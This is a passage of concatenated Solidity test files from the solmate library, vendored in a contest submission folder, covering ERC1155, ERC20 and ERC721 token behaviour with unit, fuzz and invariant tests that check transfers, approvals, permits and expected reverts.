uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), address(0), normalizedIds, normalizedTransferAmounts, transferData);
}
function testFailSafeBatchTransferFromToNonERC1155Recipient(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(
address(from),
address(new NonERC1155Recipient()),
normalizedIds,
normalizedTransferAmounts,
transferData
);
}
function testFailSafeBatchTransferFromToRevertingERC1155Recipient(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(
address(from),
address(new RevertingERC1155Recipient()),
normalizedIds,
normalizedTransferAmounts,
transferData
);
}
function testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient(
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
uint256 minLength = min3(ids.length, mintAmounts.length, transferAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedTransferAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(from)][id];
uint256 mintAmount = bound(mintAmounts[i], 0, remainingMintAmountForId);
uint256 transferAmount = bound(transferAmounts[i], 0, mintAmount);
normalizedIds[i] = id;
normalizedMintAmounts[i] = mintAmount;
normalizedTransferAmounts[i] = transferAmount;
userMintAmounts[address(from)][id] += mintAmount;
}
token.batchMint(address(from), normalizedIds, normalizedMintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(
address(from),
address(new WrongReturnDataERC1155Recipient()),
normalizedIds,
normalizedTransferAmounts,
transferData
);
}
function testFailSafeBatchTransferFromWithArrayLengthMismatch(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory transferAmounts,
bytes memory mintData,
bytes memory transferData
) public {
ERC1155User from = new ERC1155User(token);
if (ids.length == transferAmounts.length) revert();
token.batchMint(address(from), ids, mintAmounts, mintData);
from.setApprovalForAll(address(this), true);
token.safeBatchTransferFrom(address(from), to, ids, transferAmounts, transferData);
}
function testFailBatchMintToZero(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(0)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(0)][id] += mintAmount;
}
token.batchMint(address(0), normalizedIds, normalizedAmounts, mintData);
}
function testFailBatchMintToNonERC1155Recipient(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
NonERC1155Recipient to = new NonERC1155Recipient();
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(to)][id] += mintAmount;
}
token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);
}
function testFailBatchMintToRevertingERC1155Recipient(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
RevertingERC1155Recipient to = new RevertingERC1155Recipient();
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(to)][id] += mintAmount;
}
token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);
}
function testFailBatchMintToWrongReturnDataERC1155Recipient(
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
WrongReturnDataERC1155Recipient to = new WrongReturnDataERC1155Recipient();
uint256 minLength = min2(ids.length, amounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[address(to)][id];
uint256 mintAmount = bound(amounts[i], 0, remainingMintAmountForId);
normalizedIds[i] = id;
normalizedAmounts[i] = mintAmount;
userMintAmounts[address(to)][id] += mintAmount;
}
token.batchMint(address(to), normalizedIds, normalizedAmounts, mintData);
}
function testFailBatchMintWithArrayMismatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory mintData
) public {
if (ids.length == amounts.length) revert();
token.batchMint(address(to), ids, amounts, mintData);
}
function testFailBatchBurnInsufficientBalance(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory burnAmounts,
bytes memory mintData
) public {
uint256 minLength = min3(ids.length, mintAmounts.length, burnAmounts.length);
uint256[] memory normalizedIds = new uint256[](minLength);
uint256[] memory normalizedMintAmounts = new uint256[](minLength);
uint256[] memory normalizedBurnAmounts = new uint256[](minLength);
for (uint256 i = 0; i < minLength; i++) {
uint256 id = ids[i];
uint256 remainingMintAmountForId = type(uint256).max - userMintAmounts[to][id];
normalizedIds[i] = id;
normalizedMintAmounts[i] = bound(mintAmounts[i], 0, remainingMintAmountForId);
normalizedBurnAmounts[i] = bound(burnAmounts[i], normalizedMintAmounts[i] + 1, type(uint256).max);
userMintAmounts[to][id] += normalizedMintAmounts[i];
}
token.batchMint(to, normalizedIds, normalizedMintAmounts, mintData);
token.batchBurn(to, normalizedIds, normalizedBurnAmounts);
}
function testFailBatchBurnWithArrayLengthMismatch(
address to,
uint256[] memory ids,
uint256[] memory mintAmounts,
uint256[] memory burnAmounts,
bytes memory mintData
) public {
if (ids.length == burnAmounts.length) revert();
token.batchMint(to, ids, mintAmounts, mintData);
token.batchBurn(to, ids, burnAmounts);
}
function testFailBalanceOfBatchWithArrayMismatch(address[] memory tos, uint256[] memory ids) public view {
if (tos.length == ids.length) revert();
token.balanceOfBatch(tos, ids);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) public pure override returns (bytes4) {
return ERC1155TokenReceiver.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
return ERC1155TokenReceiver.onERC1155BatchReceived.selector;
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/ERC20.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {DSInvariantTest} from "./utils/DSInvariantTest.sol";
import {MockERC20} from "./utils/mocks/MockERC20.sol";
import {ERC20User} from "./utils/users/ERC20User.sol";
contract ERC20Test is DSTestPlus {
MockERC20 token;
function setUp() public {
token = new MockERC20("Token", "TKN", 18);
}
function invariantMetadata() public {
assertEq(token.name(), "Token");
assertEq(token.symbol(), "TKN");
assertEq(token.decimals(), 18);
}
function testMetaData() public {
assertEq(token.name(), "Token");
assertEq(token.symbol(), "TKN");
assertEq(token.decimals(), 18);
}
function testMint() public {
token.mint(address(0xBEEF), 1e18);
assertEq(token.totalSupply(), 1e18);
assertEq(token.balanceOf(address(0xBEEF)), 1e18);
}
function testBurn() public {
token.mint(address(0xBEEF), 1e18);
token.burn(address(0xBEEF), 0.9e18);
assertEq(token.totalSupply(), 1e18 - 0.9e18);
assertEq(token.balanceOf(address(0xBEEF)), 0.1e18);
}
function testApprove() public {
assertTrue(token.approve(address(0xBEEF), 1e18));
assertEq(token.allowance(address(this), address(0xBEEF)), 1e18);
}
function testTransfer() public {
token.mint(address(this), 1e18);
assertTrue(token.transfer(address(0xBEEF), 1e18));
assertEq(token.totalSupply(), 1e18);
assertEq(token.balanceOf(address(this)), 0);
assertEq(token.balanceOf(address(0xBEEF)), 1e18);
}
function testTransferFrom() public {
ERC20User from = new ERC20User(token);
token.mint(address(from), 1e18);
from.approve(address(this), 1e18);
assertTrue(token.transferFrom(address(from), address(0xBEEF), 1e18));
assertEq(token.totalSupply(), 1e18);
assertEq(token.allowance(address(from), address(this)), 0);
assertEq(token.balanceOf(address(from)), 0);
assertEq(token.balanceOf(address(0xBEEF)), 1e18);
}
function testInfiniteApproveTransferFrom() public {
ERC20User from = new ERC20User(token);
token.mint(address(from), 1e18);
from.approve(address(this), type(uint256).max);
assertTrue(token.transferFrom(address(from), address(0xBEEF), 1e18));
assertEq(token.totalSupply(), 1e18);
assertEq(token.allowance(address(from), address(this)), type(uint256).max);
assertEq(token.balanceOf(address(from)), 0);
assertEq(token.balanceOf(address(0xBEEF)), 1e18);
}
function testPermit() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
assertEq(token.allowance(owner, address(0xCAFE)), 1e18);
assertEq(token.nonces(owner), 1);
}
function testFailTransferInsufficientBalance() public {
token.mint(address(this), 0.9e18);
token.transfer(address(0xBEEF), 1e18);
}
function testFailTransferFromInsufficientAllowance() public {
ERC20User from = new ERC20User(token);
token.mint(address(from), 1e18);
from.approve(address(this), 0.9e18);
token.transferFrom(address(from), address(0xBEEF), 1e18);
}
function testFailTransferFromInsufficientBalance() public {
ERC20User from = new ERC20User(token);
token.mint(address(from), 0.9e18);
from.approve(address(this), 1e18);
token.transferFrom(address(from), address(0xBEEF), 1e18);
}
function testFailPermitBadNonce() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 1, block.timestamp))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
}
function testFailPermitBadDeadline() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp + 1, v, r, s);
}
function testFailPermitPastDeadline() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp - 1))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp - 1, v, r, s);
}
function testFailPermitReplay() public {
uint256 privateKey = 0xBEEF;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, address(0xCAFE), 1e18, 0, block.timestamp))
)
)
);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
token.permit(owner, address(0xCAFE), 1e18, block.timestamp, v, r, s);
}
function testMetaData(
string calldata name,
string calldata symbol,
uint8 decimals
) public {
MockERC20 tkn = new MockERC20(name, symbol, decimals);
assertEq(tkn.name(), name);
assertEq(tkn.symbol(), symbol);
assertEq(tkn.decimals(), decimals);
}
function testMint(address from, uint256 amount) public {
token.mint(from, amount);
assertEq(token.totalSupply(), amount);
assertEq(token.balanceOf(from), amount);
}
function testBurn(
address from,
uint256 mintAmount,
uint256 burnAmount
) public {
burnAmount = bound(burnAmount, 0, mintAmount);
token.mint(from, mintAmount);
token.burn(from, burnAmount);
assertEq(token.totalSupply(), mintAmount - burnAmount);
assertEq(token.balanceOf(from), mintAmount - burnAmount);
}
function testApprove(address to, uint256 amount) public {
assertTrue(token.approve(to, amount));
assertEq(token.allowance(address(this), to), amount);
}
function testTransfer(address from, uint256 amount) public {
token.mint(address(this), amount);
assertTrue(token.transfer(from, amount));
assertEq(token.totalSupply(), amount);
if (address(this) == from) {
assertEq(token.balanceOf(address(this)), amount);
} else {
assertEq(token.balanceOf(address(this)), 0);
assertEq(token.balanceOf(from), amount);
}
}
function testTransferFrom(
address to,
uint256 approval,
uint256 amount
) public {
amount = bound(amount, 0, approval);
ERC20User from = new ERC20User(token);
token.mint(address(from), amount);
from.approve(address(this), approval);
assertTrue(token.transferFrom(address(from), to, amount));
assertEq(token.totalSupply(), amount);
uint256 app = address(from) == address(this) || approval == type(uint256).max ? approval : approval - amount;
assertEq(token.allowance(address(from), address(this)), app);
if (address(from) == to) {
assertEq(token.balanceOf(address(from)), amount);
} else {
assertEq(token.balanceOf(address(from)), 0);
assertEq(token.balanceOf(to), amount);
}
}
function testPermit(
uint256 privateKey,
address to,
uint256 amount,
uint256 deadline
) public {
if (deadline < block.timestamp) deadline = block.timestamp;
if (privateKey == 0) privateKey = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))
)
)
);
token.permit(owner, to, amount, deadline, v, r, s);
assertEq(token.allowance(owner, to), amount);
assertEq(token.nonces(owner), 1);
}
function testFailBurnInsufficientBalance(
address to,
uint256 mintAmount,
uint256 burnAmount
) public {
burnAmount = bound(burnAmount, mintAmount + 1, type(uint256).max);
token.mint(to, mintAmount);
token.burn(to, burnAmount);
}
function testFailTransferInsufficientBalance(
address to,
uint256 mintAmount,
uint256 sendAmount
) public {
sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);
token.mint(address(this), mintAmount);
token.transfer(to, sendAmount);
}
function testFailTransferFromInsufficientAllowance(
address to,
uint256 approval,
uint256 amount
) public {
amount = bound(amount, approval + 1, type(uint256).max);
ERC20User from = new ERC20User(token);
token.mint(address(from), amount);
from.approve(address(this), approval);
token.transferFrom(address(from), to, amount);
}
function testFailTransferFromInsufficientBalance(
address to,
uint256 mintAmount,
uint256 sendAmount
) public {
sendAmount = bound(sendAmount, mintAmount + 1, type(uint256).max);
ERC20User from = new ERC20User(token);
token.mint(address(from), mintAmount);
from.approve(address(this), sendAmount);
token.transferFrom(address(from), to, sendAmount);
}
function testFailPermitBadNonce(
uint256 privateKey,
address to,
uint256 amount,
uint256 deadline,
uint256 nonce
) public {
if (deadline < block.timestamp) deadline = block.timestamp;
if (privateKey == 0) privateKey = 1;
if (nonce == 0) nonce = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, nonce, deadline))
)
)
);
token.permit(owner, to, amount, deadline, v, r, s);
}
function testFailPermitBadDeadline(
uint256 privateKey,
address to,
uint256 amount,
uint256 deadline
) public {
if (deadline < block.timestamp) deadline = block.timestamp;
if (privateKey == 0) privateKey = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))
)
)
);
token.permit(owner, to, amount, deadline + 1, v, r, s);
}
function testFailPermitPastDeadline(
uint256 privateKey,
address to,
uint256 amount,
uint256 deadline
) public {
deadline = bound(deadline, 0, block.timestamp - 1);
if (privateKey == 0) privateKey = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))
)
)
);
token.permit(owner, to, amount, deadline, v, r, s);
}
function testFailPermitReplay(
uint256 privateKey,
address to,
uint256 amount,
uint256 deadline
) public {
if (deadline < block.timestamp) deadline = block.timestamp;
if (privateKey == 0) privateKey = 1;
address owner = hevm.addr(privateKey);
(uint8 v, bytes32 r, bytes32 s) = hevm.sign(
privateKey,
keccak256(
abi.encodePacked(
"\x19\x01",
token.DOMAIN_SEPARATOR(),
keccak256(abi.encode(token.PERMIT_TYPEHASH(), owner, to, amount, 0, deadline))
)
)
);
token.permit(owner, to, amount, deadline, v, r, s);
token.permit(owner, to, amount, deadline, v, r, s);
}
}
contract ERC20Invariants is DSTestPlus, DSInvariantTest {
BalanceSum balanceSum;
MockERC20 token;
function setUp() public {
token = new MockERC20("Token", "TKN", 18);
balanceSum = new BalanceSum(token);
addTargetContract(address(balanceSum));
}
function invariantBalanceSum() public {
assertEq(token.totalSupply(), balanceSum.sum());
}
}
contract BalanceSum {
MockERC20 token;
uint256 public sum;
constructor(MockERC20 _token) {
token = _token;
}
function mint(address from, uint256 amount) public {
token.mint(from, amount);
sum += amount;
}
function burn(address from, uint256 amount) public {
token.burn(from, amount);
sum -= amount;
}
function approve(address to, uint256 amount) public {
token.approve(to, amount);
}
function transferFrom(
address from,
address to,
uint256 amount
) public {
token.transferFrom(from, to, amount);
}
function transfer(address to, uint256 amount) public {
token.transfer(to, amount);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/ERC721.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {DSInvariantTest} from "./utils/DSInvariantTest.sol";
import {MockERC721} from "./utils/mocks/MockERC721.sol";
import {ERC721User} from "./utils/users/ERC721User.sol";
import {ERC721TokenReceiver} from "../tokens/ERC721.sol";
contract ERC721Recipient is ERC721TokenReceiver {
address public operator;
address public from;
uint256 public id;
bytes public data;
function onERC721Received(
address _operator,
address _from,
uint256 _id,
bytes calldata _data
) public virtual override returns (bytes4) {
operator = _operator;
from = _from;
id = _id;
data = _data;
return ERC721TokenReceiver.onERC721Received.selector;
}
}
contract RevertingERC721Recipient is ERC721TokenReceiver {
function onERC721Received(
address,
address,
uint256,
bytes calldata
) public virtual override returns (bytes4) {
revert(string(abi.encodePacked(ERC721TokenReceiver.onERC721Received.selector)));
}
}
contract WrongReturnDataERC721Recipient is ERC721TokenReceiver {
function onERC721Received(
address,
address,
uint256,
bytes calldata
) public virtual override returns (bytes4) {
return 0xCAFEBEEF;
}
}
contract NonERC721Recipient {}
contract ERC721Test is DSTestPlus {
MockERC721 token;
function setUp() public {
token = new MockERC721("Token", "TKN");
}
function invariantMetadata() public {
assertEq(token.name(), "Token");
assertEq(token.symbol(), "TKN");
}
function testMetadata() public {
assertEq(token.name(), "Token");
assertEq(token.symbol(), "TKN");
}
function testMint() public {
token.mint(address(0xBEEF), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.ownerOf(1337), address(0xBEEF));
}
function testBurn() public {
token.mint(address(0xBEEF), 1337);
token.burn(1337);
assertEq(token.totalSupply(), 0);
assertEq(token.balanceOf(address(0xBEEF)), 0);
assertEq(token.ownerOf(1337), address(0));
}
function testApprove() public {
token.mint(address(this), 1337);
token.approve(address(0xBEEF), 1337);
assertEq(token.getApproved(1337), address(0xBEEF));
}
function testApproveAll() public {
token.setApprovalForAll(address(0xBEEF), true);
assertTrue(token.isApprovedForAll(address(this), address(0xBEEF)));
}
function testTransferFrom() public {
ERC721User from = new ERC721User(token);
token.mint(address(from), 1337);
from.approve(address(this), 1337);
token.transferFrom(address(from), address(0xBEEF), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(0xBEEF));
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testTransferFromSelf() public {
token.mint(address(this), 1337);
token.transferFrom(address(this), address(0xBEEF), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(0xBEEF));
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.balanceOf(address(this)), 0);
}
function testTransferFromApproveAll() public {
ERC721User from = new ERC721User(token);
token.mint(address(from), 1337);
from.setApprovalForAll(address(this), true);
token.transferFrom(address(from), address(0xBEEF), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(0xBEEF));
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testSafeTransferFromToEOA() public {
ERC721User from = new ERC721User(token);
token.mint(address(from), 1337);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(0xBEEF), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(0xBEEF));
assertEq(token.balanceOf(address(0xBEEF)), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testSafeTransferFromToERC721Recipient() public {
ERC721User from = new ERC721User(token);
ERC721Recipient recipient = new ERC721Recipient();
token.mint(address(from), 1337);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(recipient), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(recipient));
assertEq(token.balanceOf(address(recipient)), 1);
assertEq(token.balanceOf(address(from)), 0);
assertEq(recipient.operator(), address(this));
assertEq(recipient.from(), address(from));
assertEq(recipient.id(), 1337);
assertBytesEq(recipient.data(), "");
}
function testSafeTransferFromToERC721RecipientWithData() public {
ERC721User from = new ERC721User(token);
ERC721Recipient recipient = new ERC721Recipient();
token.mint(address(from), 1337);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(recipient), 1337, "testing 123");
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(1337), address(0));
assertEq(token.ownerOf(1337), address(recipient));
assertEq(token.balanceOf(address(recipient)), 1);
assertEq(token.balanceOf(address(from)), 0);
assertEq(recipient.operator(), address(this));
assertEq(recipient.from(), address(from));
assertEq(recipient.id(), 1337);
assertBytesEq(recipient.data(), "testing 123");
}
function testSafeMintToEOA() public {
token.safeMint(address(0xBEEF), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.ownerOf(1337), address(address(0xBEEF)));
assertEq(token.balanceOf(address(address(0xBEEF))), 1);
}
function testSafeMintToERC721Recipient() public {
ERC721Recipient to = new ERC721Recipient();
token.safeMint(address(to), 1337);
assertEq(token.totalSupply(), 1);
assertEq(token.ownerOf(1337), address(to));
assertEq(token.balanceOf(address(to)), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), 1337);
assertBytesEq(to.data(), "");
}
function testSafeMintToERC721RecipientWithData() public {
ERC721Recipient to = new ERC721Recipient();
token.safeMint(address(to), 1337, "testing 123");
assertEq(token.totalSupply(), 1);
assertEq(token.ownerOf(1337), address(to));
assertEq(token.balanceOf(address(to)), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), 1337);
assertBytesEq(to.data(), "testing 123");
}
function testFailMintToZero() public {
token.mint(address(0), 1337);
}
function testFailDoubleMint() public {
token.mint(address(0xBEEF), 1337);
token.mint(address(0xBEEF), 1337);
}
function testFailBurnUnMinted() public {
token.burn(1337);
}
function testFailDoubleBurn() public {
token.mint(address(0xBEEF), 1337);
token.burn(1337);
token.burn(1337);
}
function testFailApproveUnMinted() public {
token.approve(address(0xBEEF), 1337);
}
function testFailApproveUnAuthorized() public {
token.mint(address(0xCAFE), 1337);
token.approve(address(0xBEEF), 1337);
}
function testFailTransferFromUnOwned() public {
token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
}
function testFailTransferFromWrongFrom() public {
token.mint(address(0xCAFE), 1337);
token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
}
function testFailTransferFromToZero() public {
token.mint(address(this), 1337);
token.transferFrom(address(this), address(0), 1337);
}
function testFailTransferFromNotOwner() public {
token.mint(address(0xFEED), 1337);
token.transferFrom(address(0xFEED), address(0xBEEF), 1337);
}
function testFailSafeTransferFromToNonERC721Recipient() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337);
}
function testFailSafeTransferFromToNonERC721RecipientWithData() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new NonERC721Recipient()), 1337, "testing 123");
}
function testFailSafeTransferFromToRevertingERC721Recipient() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337);
}
function testFailSafeTransferFromToRevertingERC721RecipientWithData() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), 1337, "testing 123");
}
function testFailSafeTransferFromToERC721RecipientWithWrongReturnData() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337);
}
function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData() public {
token.mint(address(this), 1337);
token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), 1337, "testing 123");
}
function testFailSafeMintToNonERC721Recipient() public {
token.safeMint(address(new NonERC721Recipient()), 1337);
}
function testFailSafeMintToNonERC721RecipientWithData() public {
token.safeMint(address(new NonERC721Recipient()), 1337, "testing 123");
}
function testFailSafeMintToRevertingERC721Recipient() public {
token.safeMint(address(new RevertingERC721Recipient()), 1337);
}
function testFailSafeMintToRevertingERC721RecipientWithData() public {
token.safeMint(address(new RevertingERC721Recipient()), 1337, "testing 123");
}
function testFailSafeMintToERC721RecipientWithWrongReturnData() public {
token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337);
}
function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData() public {
token.safeMint(address(new WrongReturnDataERC721Recipient()), 1337, "testing 123");
}
function testMetadata(string memory name, string memory symbol) public {
MockERC721 tkn = new MockERC721(name, symbol);
assertEq(tkn.name(), name);
assertEq(tkn.symbol(), symbol);
}
function testMint(address to, uint256 id) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(to, id);
assertEq(token.totalSupply(), 1);
